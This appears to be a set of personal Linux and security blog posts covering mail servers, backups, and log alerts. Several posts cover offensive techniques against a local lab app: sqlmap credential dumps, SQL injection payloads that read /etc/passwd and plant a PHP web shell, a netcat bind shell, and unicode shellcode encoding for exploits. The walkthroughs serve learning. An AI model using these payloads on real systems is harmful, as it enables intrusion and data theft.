Mail Serving with Postfix and dovecot

There are tons of great documentation out there showing you how to set this SMTP server up. Postfix is very popular and a great alternative to the even more popular sendmail. Here are some good resources that i used to learn how to set this up:

Ubuntu postifx documenation
Postfix virtual mailbox setup
Centos postfix setup
Centos postfix restrictions

Setting up dovecot is simple enough. Check out the following resources:
Ubuntu dovecot configuration
wiki.Dovecot.org virtual users
wiki.Dovecot.org virtual users example
wiki.dovecot.org authentication/password schemes
Integrating dovecot SASL with postfix
wiki.dovecot.org cram-md5 howto

Postifx/dovecot mail system can make use of actual system users or virtual users. With system users, you would have to create a new system users (eg, adduser mark) for each user. I don't really want to have to create a new system user everytime to add a new mail user. Using virtual users with virtual mailboxes suites my installations better (more personal preference). The key thing to remember is that you would have to make changes to both postfix and dovecot configutations to get this to work. In postfix, the key settings that need to be modified can be seen here. In dovecot, this example will show you how to setup the virtual user accounts for SASL login authentication.

File Backups with logrotate

Logrotate is a log rotating program, that usually gets executed daily by a cron job. It has a main configuration file located at "/etc/logrotate.conf" and additional configs are usually store in the directory located at "/etc/lofrotate.d". The options in the configuration file are dead simple to understand and can be learned from its manpage (man logrotate). Logrotate is mainly used to backup and rotate log files but can be used on any file.
The following example will show how to back up contents of the /var/www folder.

First thing we will do is create a directory to house our configuration file and the backups. We will do this in our home directory at "/home/user".

# mkdir backups
# cd /home/user/backups

We then create the config file named rotate.conf:

### logrotate config file
/home/user/backups/www.tar{
rotate 4
daily
compress
copy
prerotate
rm /home/user/backups/www.tar
tar -cf /home/user/backups/www.tar /var/www
endscript
}
###


A quick run down of the config options:
-The first line gives the path to the file we want to backup and rotate
-Rotate 4 will keep up to 4 backups and rotate onwards
-daily is set to have log files rotated daily
-Compress will use gzip to compress the file by default
-copy just makes a copy of the original file for backup
-The prerotate directive allows us to run commands before rotating the logs. The commands i used should be straight forward enough to understand, but anything can go here. You must end the prerotate directive with endscript.

In our setup, logrotate will need a dummy file called www.tar to start off properly, so we will create an empty file with that name:

# touch www.tar

Thats it for the configuration. Now to run logrotate issue the following:

# logrotate -f /home/user/rotate.conf

the "-f" option tells logrotate to force the rotation.

Running this command a few times (7-8) will basically cause several backups to be created and rotated as need be. You would eventually notice that only 4 backups are being kept as per our configuration.

Resouces/Good Reading:
kangaroobox.blogspot
manpage
thegeekstuff.com

Tips on securing apache webserver

I came across a nice article at linux.com that i wanted to share. It was very useful to me and i'm sure it will be to someone else as well. I've read other articles on the topic but i found that this one does the best job in explaining why certain options were used and their benefits. If you have an apache server out there and you're skeptical about its security, then maybe reading this article might put some things into perspective for you and set you on the right path.

Link: Securing Apache

Automating sql injection with Sqlmap

Sqlmap is an automated sql injection tool written in python. More information can be found at this link.

sqlmap from aerokid240 on Vimeo.

Commands used.

sqlmap -u 'http://127.0.0.1/exploit/newspage.php?id=1' -p 'id' --dbs

sqlmap -u 'http://127.0.0.1/exploit/newspage.php?id=1' -p 'id' -D exploit --tables

sqlmap -u 'http://127.0.0.1/exploit/newspage.php?id=1' -p 'id' -D exploit -T members --columns

sqlmap -u 'http://127.0.0.1/exploit/newspage.php?id=1' -p 'id' -D exploit -T members -C username --dump

sqlmap -u 'http://127.0.0.1/exploit/newspage.php?id=1' -p 'id' -D exploit -T members -C password --dump

Sqlmap options used:
-u Target url
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--dump Dump DBMS database table entries
-D DB DBMS database to enumerate
-T TBL DBMS database table to enumerate
-C COL DBMS database table column to enumerate

Resources/Good Reading:
sqlmap
pauldotcom

From SQL injection to Shell

For months and months i avoided this topic. I always assumed that this injection technique was minor and not high risk. So what if you loose email addresses and phone numbers, this stuff is pretty much public knowledge anyways right?(Google your email address and don't be too surprised by the result). Of course, at the time i knew absolutely nothing about sql injection and i was basing this on pure assumption. Well now that I've taken a good week to learn as much as i can about the topic i must say that i was overwhelmed by what can be accomplished by this attack. Trust me when i say that writing exploits for windows executables is cool and amazing. Sql injection doesn't fall short of coolness either and i would like to demonstrate this. This demonstration should give you an idea of what this attack is and why it is EXTREMELY dangerous.

Note: This is not a tutorial. Background knowledge of sql injection is required to follow. I recommend reading here or check some of the other resources at the end of the post to get a grasp of some of the concepts.

The vulnerable app i would be using here is a php website with a MySQL back-end. You can get the download here. It is know as exploit.co.il i believe.

Installation:

1. Extract the tar.gz file to your web root directory

2. Set up a new database either using CLI or phpMyAdmin and import the "exploit.sql" database

3. You will need to edit the database connection string which is located in a file named"config.php" in your web root folder and "config.php" in webroot/admin/ folderEdit this config file with your sql server address,user name,password and database name.Thats all, Now just browse to "localhost" or 127.0.0.1 to see the web site.

Assuming the website is up and running, we will test for the vulnerability on the newspage.php page. On the homepage click on one of the articles under the "latest news" section. Note the URL on the address bar "http://127.0.0.1/newspage.php?id=1" (note your id=value , parameter may differ based on your selection).

Now add a " ' " at the end of the URL; " http://127.0.0.1/newspage.php?id=1' ".
Notice that nothing fancy really happens. Typically, you would get a database syntax error message somewhere on the page, but the programmer of the website took the extra step to prevent this. This type of sql injection attack is usually classified as blind sql injection.

lets try to add a mysql comment character, "#", to the url; "http://127.0.0.1/newspage.php?id=1'#"
Nothing happened here.

Lets url encode the "#". This becomes "%23".
"http://127.0.0.1/newspage.php?id=1'%23".
Ah this here completed the query. You would notice this as the page returned information pertaining to this id number. This is a sign of the existence of an sql injection vulnerability. You can visualize the query being something like " select * from news where id='1' ". With our inject data, the query would look like this " select * from news where id='1' #' ". The %23 in the url was converted to "#", the comment symbol in mysql.

The following are steps that i took to enumerate information from the database. I would be manipulating the id= parameter in the url from now on.

1. Obtain the number of columns from the query. id=1' order by x %23 . Where x is the number of columns. Start with 1, then increment this number until the page returned is no longer valid. I learned that the number of columns returned by the query is 7
2. Determine where and what columns are displayed on the page. id=x' union all select 1,2,3,4,5,6,7 %23. You would notice that the third and seventh column are returned. We will use the 7th column to enumerate database information.
3. Enumerate the database name. id=x' union all select 1,2,3,4,5,6,database() %23. Database is exploit.
4. Enumerate the current user. id=x' union all select 1,2,3,4,5,6,current_user() %23. Current user is root :)
5. Enumerate the tables. id=x' union all select 1,2,3,4,5,6,table_name from information_schema.tables where table_schema=database() limit x,1%23. Where x is like an index to the table number. Limit 0,1 will return the first table, limit 1,1 will return the second table, limit 2,1 will return the third table and so forth.
6. Enumerate the columns. id=x' union all select 1,2,3,4,5,6,column_name from information_schema.columns where table_schema =database() and table_name='x' limit y,1. Where x is a table name that was obtained from step 5 and y is an integer index as discussed above when used with limit.
   
7. Now we can enumerate the data. We will enumerate the members table. The members table has three columns, id, username and password. We will get the usernames and their respective passwords. id=x' union all select 1,2,username,4,5,6,password from members limit x,1%23. Where x is used as an integer index value to the results of the query. You would soon notice that passwords are stored in plain text.
8. Reading files. id=x' union all select 1,2,3,4,5,6,load_file('/etc/passwd')%23. This will display the contents of the file /etc/passwd.
   
9. Lets drop a simple backdoor shell. This would only work where there is a directory with write permissions. Assuming /var/www/ has write permision by everyone we can create our backdoor php shell like this.

   id=x' union all select 1,2,3,4,5,6,'<?php system($_GET[cmd]); ?>' into outfile '/var/www/shell.php' %23

   If all went well, using your browser, goto http://127.0.0.1/shell.php?cmd=ls. This should list the current directory contents via the "ls" UNIX command.
10. Lets get a more interactive shell. Using the same shell.php script we wrote to the database server goto http://127.0.0.1/shell.php?cmd=nc -e /bin/bash -lvp 4444. This sets up a netcat backdoor.

Update: Here is a video demonstration on how most of this is done.

sql injection from aerokid240 on Vimeo.

Resources/Good Reading:
wikipedia
hakipedia.com
exploit.co.il vuln web site
unixwiz.net
securiteam.com
owasp.org

Challenges in developing unicode exploits

In a precious post, i wrote about exploiting a stack buffer overflow for the vulnerable version of minishare (version 1.4.1). This was basically my interpretation and understanding of lupin's write up of the same exploit in tutorial form over here. If you need more elaboration on the exploit writing process, i suggest that you look at his tutorial on exploiting minishare (there are other tutorials as well). There is also a good tutorial at corelan.be on writing exploits. It was the tutorials over at corelan that got me into unicode exploits. This is a very length tutorial on unicode exploits that made me really understand the challenges in writing such an exploit.

Unicode exploits are basically the same as traditional stack buffer overflow exploits but it comes with a bigger challenge. The idea between both exploit types are the same; Overwrite EIP (or seh) with a useful address that would execute a command that jumps us back to our buffer that contains our code. Although their goals are the same, how you would go about achieving these goals differ.

The differnce that you would notice from the traditional ascii exploit and a unicode one is that every byte is appended with a null or 0x00 byte. For example, the string "DOG" in uppercase will be "44 4F 47" in ascii bytes. The unicode representation of the same string will be " 44 00 4F 00 47 00". So if when you overwrite a buffer with a crap load of AAAAAAAAA's, in a unicode exploit, each A in the buffer will be appened with a null. Therefore your buffer will look like this in bytes: "41 00 41 00 41 00 41 00 41 00 ...".

Usually with unicode exploits, you are quite limited in what memory addresses you can overwrite EIP or SEH with and you also have a limed instruction set in which you can use. You must accept that every byte in your supplied buffer will contain a trailing null byte and work your way from there. This also means that your buffer must contain code thats unicode compatible. For example, putting a short jump where the next seh address resides, i.e jmp 0x6, is common in seh exploits to jump over seh address towards your shellcode. This jmp 0x6 in bytes is " eb 06". If when send this in our buffer, the nulls will be appeneded to each byte before the code is run, i.e "eb 00 06 00" . If you look at the instructions that these bytes represents, its not what you would've intended it to be. This is a major point that must be kept in mind when dealing with unicode exploits.

You must be wondering how do we overcome the limitations discussed earlier. You basically use unicode compatible instructions to accomplish the same thing. These instructions include single byte instructions like push, pop, inc, dec and ret just to name a few. When using single byte instructions, each instruction must be seperated by some nop-equivalent code in the form of "00 nn 00" where nn will be an opcode that will give the effect of a nop instruction. There are not too many opcodes that we can use here. Some of them are 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x62 and 0x6D. These opcodes when used in the format "00 nn 00" will produce assembly instrunctions like "add byte ptr [ebp], ch". Replacing nn with one of the opcode bytes would produce something similar. For this to work however, the relevant register (ebp in our example) must contain an address which is writeable or else an exception will occur. Each opcode byte will normally result in giving you a different register at your disposal. Because the code that this produces probly would not affect our buffer (or shellcode), it can be used as filler or nop-like code in between single byte instructions and other relevant code pieces. If you need further elaboration of the uses on this, please read the unicode exploit over at corelan.be. They did a great job explaining this, but most importantly, they also walk you through developing an exploit using the above mentioned techniques.

Some things to keep in mind.

1. After you found that you can overwrite eip or seh, you will need to find a usable unicode compatible address, i.e, in the form of 00nn00nn. So in the case of an seh exploit, you gonna need to find an address to a pop pop ret (like in a typical seh exploit) but this address must be in the format of 0x00nn00nn. The pvefindaddr plugging for immunity debugger can automate this process.
2. Make use of single byte instructions like push, pop, inc, dec, and ret and seperate each with one of the nop-like opcodes i mentioned earlier (0x6D, 0x6E, 0x6F, 0x70, 0x71 etc. This will cause opcode to align itself in a way that is unicode compatible.
   
3. Shellcode must be encoded with unicode compatible encoder. You can also use metasploit for this: # msfpayload windows/exec CMD=clac.exe R | msfencode -e x86/alpha_mixed -t raw | msfencode -e x86/unicode_upper -t raw BufferRegister=EAX
   
4. Unicode encoders usually need you to have at least one register pointing to the begining of the shellcode. Here is an example of how this can be accomplished. Suppose we wanted to get the address of 0x00401030 into eax then jump to it. We can accomplish this like so:

Opcode: Assembly:

B8 00110011 MOV EAX,11001100
006D 00 ADD BYTE PTR SS:[EBP],CH //Filler / Nop-like code
2D 00010011 SUB EAX,11000100
006D 00 ADD BYTE PTR SS:[EBP],CH //Filler / Nop-like code
50 PUSH EAX
006D 00 ADD BYTE PTR SS:[EBP],CH //Filler / Nop-like code
4C DEC ESP
006D 00 ADD BYTE PTR SS:[EBP],CH //Filler / Nop-like code
58 POP EAX
006D 00 ADD BYTE PTR SS:[EBP],CH //Filler / Nop-like code
05 00300040 ADD EAX,40003000
006D 00 ADD BYTE PTR SS:[EBP],CH //Filler / Nop-like code
50 PUSH EAX
006D 00 ADD BYTE PTR SS:[EBP],CH //Filler / Nop-like code
44 INC ESP
006D 00 ADD BYTE PTR SS:[EBP],CH //Filler / Nop-like code
58 POP EAX
006D 00 ADD BYTE PTR SS:[EBP],CH //Filler / Nop-like code
C3 RETN

If we were to see this as a stream of bytes, it would look like "B8 00 11 00 11 00 6D 00 2D 00 01 00 11 00 6D 00 50 00 6D 00 4C 00 6D 00 58 00 6D 00 05 00 30 00 40 00 6D
00 50 00 6D 00 44 00 6D 00 58 00 6D 00 C3"

This is unicode compatible code, often known as venetian code. Remember when you are writing your exploit, you will not be including the null bytes. These would get automatically inserted for you when your exploit overflows the buffer.

Automate log monitoring and get email notifications with swatch

The swatch program (simple watcher) can monitor all sorts of logs and respond to certain events when they occur. Its concept is quite simple. Swatch will monitor a logfile for us , for example, /var/log/syslog, and when a specific event occurs (these events are configured in the swatch config file) and are logged in the log file, swatch can respond by executing a program, sending an email to a sysadmin or sending messages to the console where swatch is being run.

A simple example of swatch in action. If you are the sole sysadmin of a webserver, you would probly want to be notified if someone attempts to try to log into your server (could be over ssh or other authentication services). Being the sole admin of the webserver, no one else should have any business being on the system. Anyone but the admin attempting to login to the system obviously doesn't belong there and may have bad intentions. In this case, you can set up swatch to monitor the auth.log file for failed logon attempts and succesful logon attempts and then send you an email whenever their is attempts from anyone to log in. Of course this will notify you even when you log on to the machine, therefore this might be more practical if you have an unattended system (maybe you are on vacation or away on business).

I use an email program which is actually a perl script, called sendemail. On a debian based system, you can install it via apt-get install sendemail. Likewise, to install swatch, apt-get install swatch. Once both are installed, a simple configuration for swatch is as follows

watchfor /sshd/
echo bold
bell 3
exec "/usr/bin/sendemail -s smtp.live.com:25 -f youremail@hotmail.com -xu youremail@hotmail.com -xp your_hotmail_pass -u "Log alert" -m "Possible SSHD login attemp" -t youremail@hotmail.com -s smtp.live.com"

Save the above to a text file with an appropriate name such as swatch.conf

Then we can execute swatch like this:
# swatch --config-file=/path/to/swatch.conf --script-dir=/path/to/your_config_dir --examine=/var/log/auth.log

Whenever someone attempts to login to your sshd server, the sshd daemon will log the login attemp in /var/log/auth.log. The swatch program will monitor the auth.log file for the string sshd and whenever it gets a match, it will leave a notification on the console and then send an email to youremail@hotmail.com. The swatch program understands regex expressions so you can perform more advanced matches instead of a simple string like sshd.